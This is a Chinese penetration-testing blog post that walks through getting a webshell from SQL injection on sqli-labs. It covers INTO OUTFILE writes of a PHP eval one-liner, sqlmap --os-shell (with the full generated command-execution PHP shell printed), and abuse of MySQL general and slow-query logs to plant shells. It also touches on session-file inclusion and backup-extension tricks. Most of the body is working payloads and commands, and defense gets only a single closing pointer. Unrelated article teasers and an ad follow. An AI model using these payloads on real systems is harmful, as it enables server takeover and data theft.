渗透测试之利用sql拿shell(附完整流程)【全】

发布时间:2026/9/10 22:10:33

渗透测试之利用sql拿shell(附完整流程)【全】 导读时刻保持谦逊始终保持学习探寻事物的本质不要把事情复杂化目录前言流程通过into outfile进行文件写入利用sqlmap利用日志getshell利用文件包含漏洞getshell利用数据库备份getshell前言为什么SQL注入能拿ShellSQL注入的本质是通过恶意SQL语句操控数据库而部分数据库支持执行系统命令或写入文件。若能利用注入点向Web目录写入一句话木马即可通过中国菜刀/蚁剑连接获取Shell。流程寻找SQL注入点 → 判断数据库类型 → 获取Web路径 → 写入WebShell → 连接shell一、通过into outfile进行文件写入利用条件拥有网站的写入权限知道网站的绝对路径Secure_file_priv参数为空或可写目录在mysql/my.ini中查看注Secure_file_priv是用来限制load dumpfile、into outfile、load_file()函数在哪个目录下拥有上传和读取文件的权限。在mysql 5.6.34版本以后 secure_file_priv的值默认为NULL。secure_file_priv的值为null 表示限制mysqld 不允许导入|导出当secure_file_priv的值为/tmp/ 表示限制mysqld 的导入|导出只能发生在/tmp/目录下当secure_file_priv的值没有具体值时表示不对mysqld 的导入|导出做限制实际操作1查看secure-file-priv参数的值show global variables like %secure%;2修改secure_file_priv 的值windows下修改my.ini 在[mysqld]内加入secure_file_priv linux下修改my.cnf 在[mysqld]内加入secure_file_priv 在mysql/my.ini[mysqld]中查看是否有secure_file_priv 的参数没有的话加上secure_file_priv 即可再查看secure_file_priv的值如下已经变为空了 。3写入shell以sqli-labs第七关为例1、判断注入点通过输入?id3)) and sleep(3) --时成功延时发现存在注入点就为3))2、判断列数通过order by 3 回显正常、order by 4报错判断为3列3、写入shellhttp://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-7/?id-3)) union select 1,?php eval($_POST[test]); ?,3 into outfile C:\\Penetration\\TrafficTools\\phpStudy\\PHPTutorial\\WWW\\outfile.php --4. 连接webshell使用蚁剑连接成功二、利用sqlmap利用条件拥有网站的写入权限能够使用单引号知道网站的绝对路径Secure_file_priv参数为空或可写目录在mysql/my.ini中查看实际操作 以sqli-labs第一关为例sqlmap.py -u http://xxx?id1 --sql-shell //进入命令行1查看文件路径select datadir; //mysql/data的路径根目录一般与mysql处于同一目录2查看secure_file_priv 参数值select secure_file_priv //若为空则什么都不显示若为NULL则显示NULL3写入shell1、--os-shell通过udf提权写入shell也是通过into oufile向服务器写入两个文件一个可以直接执行系统命令一个进行上传文件2、选择语言3、填写文件路径sqlmap在指定的目录生成了两个文件文件名是随机的并不是固定的tmpbuwzg.php用来执行系统命令tmpunynt.php用来上传文件tmpbuwzg.php文件内容为?php $c$_REQUEST[cmd];set_time_limit(0);ignore_user_abort(1);ini_set(max_execution_time,0);$zini_get(disable_functions);if(!empty($z)){$zpreg_replace(/[, ]/,,,$z);$zexplode(,,$z);$zarray_map(trim,$z);}else{$zarray();}$c$c. 21\n;function f($n){global $z;return is_callable($n)and!in_array($n,$z);}if(f(system)){ob_start();system($c);$wob_get_clean();}elseif(f(proc_open)){$yproc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);$wNULL;while(!feof($t[1])){$w.fread($t[1],512);}proc_close($y);}elseif(f(shell_exec)){$wshell_exec($c);}elseif(f(passthru)){ob_start();passthru($c);$wob_get_clean();}elseif(f(popen)){$xpopen($c,r);$wNULL;if(is_resource($x)){while(!feof($x)){$w.fread($x,512);}}pclose($x);}elseif(f(exec)){$warray();exec($c,$w);$wjoin(chr(10),$w).chr(10);}else{$w0;}echopre$w/pre;?4、成功访问访问 tmpbuwzg.php并利用cmd执行命令访问tmpunynt.php上传文件正常上传木马连接即可。三、利用日志getshell利用条件拥有网站的写入权限知道网站的绝对路径数据库日志开启实际操作1查看数据库日志是否开启以及路径show variables like %general%;2开启日志功能修改general_log的值为ONset global general_log ON;修改文件路径注意路径用两次\\进行转义set global general_log_fileC:\\Penetration\\TrafficTools\\phpStudy\\PHPTutorial\\WWW\\shell.php3写入shellselect ?php eval($_POST[test]);?;4成功连接shell四、利用慢查询getshell慢查询日志当查询语句执行的时间要超过系统默认的时间时,该语句会被记入慢查询日志。一般都是通过long_query_time选项来设置这个时间值时间以秒为单位可以精确到微秒。如果查询时间超过了这个时间值这个查询语句将被记录到慢查询日志中。查看服务器默认时间值方式如下利用条件拥有网站的写入权限知道网站的绝对路径数据库慢查询日志开启实际操作1查看日志状态show global variables like %long_query_time%;通常情况下执行sql语句时的执行时间一般不会超过10s所以说这个日志文件应该是比较小的而且默认也是禁用状态不容易引起管理员的察觉。2开启日志功能set global slow_query_log ON;填写文件路径set global slow_query_log_file C:\\Penetration\\TrafficTools\\phpStudy\\PHPTutorial\\WWW/shell1.php3在查询语句中写入一句话木马并延时10秒以上select ?php eval($_POST[test]);? or sleep(12);4成功连接shell五、利用文件包含漏洞getshell对于phpmyadmin来说有一种特殊的机制所有SQL的执行操作将存入session。所以如果目标站点存在文件包含漏洞我们可以通过包含session文件来拿shell。配合站点文件包含漏洞进行shell连接 即可六、利用数据库备份getshell网站对上传的文件后缀进行过滤如不允许上传脚本类型文件如asp/php/jsp/aspx等。而网站具有数据库备份功能这时我们就可以将webshell格式先改为允许上传的文件格式如jpg、gif等然后我们找到上传后的文件路径通过数据库备份文件备份为脚本格式。重点是路径找对防御方案通过本文可以发现SQL注入写入shell需要满足几个条件根据条件来进行对应防御措施即可具体请见下节。渗透测试之利用sql注入拿shell防御方案-CSDN博客文中如有错误还请各位大佬批评指正感激不尽
延伸阅读

更多相关文章

2026/9/6 12:12:56

Go语言定时器原理与应用实践

1. Golang定时器基础概念在Go语言中,定时器是并发编程中不可或缺的核心组件。不同于其他语言的定时器实现,Go的定时器设计充分体现了其并发模型的特点。我们先从最基础的两种定时器类型开始:time.Timer是一次性定时器,就像厨房里的…

2026/9/8 2:29:37

excel基础(更新中)

数据录入的正确方式正确录入方式【Tab】→单元格右移动【Shift】【Tab】→单元格左移动【Enter】→单元格下移【Tab】【Enter】→下一行起始单元格特殊格式的录入日期格式为2025-3-13(回车后会转变成2025/3/13)或者2025/3/13,只有这两种格式才会被excel识别为日期&a…

2026/9/10 23:54:43

K3S 基础命令集

K3S 基础命令集Pod查看 Pod查看所有Pod查看详情查看Pod 日志查看 IP查看yaml编辑配置删除Pod强制删除进入容器PVC查看所有PVC查看详情查看PVC YAML创建 PVC编辑 PVC删除 PVCService查看 Service查看 Service 详情查看 Service YAML创建 Service编辑 Service删除 Servicedepoly查…

2026/9/10 23:54:43

2027届论文降AI率平台哪个靠谱?六款实测横评

高校对AI生成内容的检测力度逐年加强,2027届毕业生面临的降AI率压力比往届更大。论文写作过程中适度使用AI辅助已成常态,但如何让最终稿顺利通过检测,成为不少学生头疼的问题。这篇测评选取市面上讨论度较高的六款降AI率工具,逐一…

2026/9/10 23:54:43

2027届论文降AI率工具实测,六款平台谁更靠谱

高校对论文AI生成内容的检测逐年收紧,降AI率从加分项变成了毕业答辩前的硬性门槛。不少2027届学生已经开始为学位论文发愁,市面上号称能降AI率的平台数量庞大,实际效果却参差不齐。本文选取六款有代表性的工具,用同一批论文样本做…

2026/9/10 23:54:43

生物医学SCI三区期刊投稿策略与高录用率期刊推荐

1. 生物医学领域投稿策略解析 在科研论文发表的道路上,选择合适的期刊往往是决定成败的关键一步。作为一名在生物医学领域发表过十余篇SCI论文的研究者,我深知投稿过程中的焦虑与期待。今天我要分享的这个期刊选择策略,可能会颠覆你对SCI期刊…

2026/9/10 23:49:43

Tracy Profiler 快速上手实战指南:4步定位游戏掉帧元凶

Tracy Profiler 快速上手实战指南:4步定位游戏掉帧元凶 【免费下载链接】tracy Frame profiler 项目地址: https://gitcode.com/GitHub_Trending/tr/tracy 你正在跑一个游戏,画面突然卡了一瞬,重跑一遍问题又消失了,日志里…

2026/9/10 16:39:38

超人会飞不算本事:系统稳定依赖清晰规则与边界设计

开头先不绕弯子。“#斯坦李吐槽dc 所以超人是无缘无故会飞的嘛哈哈哈哈哈哈哈锤哥真是技术人才啊!#雷神 #复联”这类调侃式短标题,第一波冲击力在于它把两个宇宙的角色塞进同一个吐槽箱里,但细想一下就能发现,它真正碰到的根本不是…

2026/9/10 11:16:38

超人VS蜘蛛侠:拆解超级IP的影响力与传播方法论

把“蜘蛛侠 vs 超人”放在 CSDN 上聊,可能很多人第一反应是走错片场了。但如果把这两个角色看成“两个持续运营了 80 多年的文化产品”,你会发现,这场比较本质上是两个不同 IP 策略的长期结果对比:超人赢在定义了整个超级英雄题材…

2026/9/9 16:31:09

基于CNN的调制信号识别:MATLAB实现时频图分类实战

简介:本资源是一套面向通信工程与信号处理方向学习者、研究者的深度学习实践方案,聚焦调制信号自动检测与识别这一典型无线通信任务,解决传统方法依赖人工特征、低信噪比下性能下降等痛点。压缩包共12个文件(10.73MB)&…

2026/9/10 0:00:55

目录对比去重实战:用哈希算法精准清理重复文件

我电脑里现在还有一块换了三次机的“数据墓地”硬盘,里面存着2016年以前所有旧笔记本的完整备份。平时不觉得有什么,直到前阵子想把它整理归档,发现同一个安装包、同一批照片、同一份论文草稿,在几个不同的备份目录里反复出现。更…

2026/9/10 0:00:55

Leaflet离线地图完整Demo合集:内网部署与坐标纠偏实战

简介:这是一份面向Web GIS开发者的LeafLet离线地图示例合集,帮助开发者快速掌握离线地图从搭建到交互的完整流程。压缩包共723个文件,大小14.06MB,以319个js脚本、175个html页面和29个css样式文件为主体,配合png/svg图…

2026/9/10 0:00:55

MATLAB读取Rinex 3.02观测文件:多系统GNSS数据解析实战

简介:基于MATLAB开发的Rinex3.02版观测文件(o文件)读取代码包,面向卫星定位导航方向的学习者与研究人员,用于解决新版观测文件的数据解析、历元提取与时间转换问题。压缩包共4个文件,包含两个m脚本、一个19…

2026/9/10 12:32:02

USB Type-C PCB布局分区设计:电源、高速信号与PD协议全攻略

做硬件这行,Type-C接口算是典型的“看着简单,做起来全坑”的东西。光引脚就24个,高低速信号、电源、控制线全部塞在一个小小的连接器里,如果PCB布局不做规划,打样回来基本就是“插上没反应”、“高速掉线”、“静电一打…

2026/9/10 15:19:50

系统编程学习原型如何补齐稳定性边界

系统编程学习原型如何补齐稳定性边界预算有限时&#xff0c;我先优化明显多余的复制&#xff0c;而不是猜测性地换容器。用借用传递只读数据通常就能减少分配&#xff1a; fn parse(line: &str) -> Result<Item, Error> { /* ... */ }用基准确认热点确实在分配&am…

2026/9/10 15:49:53

雨花区哪家财务公司代理记账比较好?

在雨花区&#xff0c;企业处理财税事务常常面临诸多挑战&#xff0c;选择一家靠谱的财务公司至关重要。湖南巨勤财务管理咨询有限公司就是本地正规实体财税服务机构&#xff0c;深耕本地工商财税行业多年&#xff0c;熟悉当地工商局、税务局最新政策与申报流程。主营公司注册、…

还想了解更多?直接咨询顾问

免费诊断 + 免费方案 + 透明报价。

全国咨询热线400-8866-253
免费获取方案
咨询二维码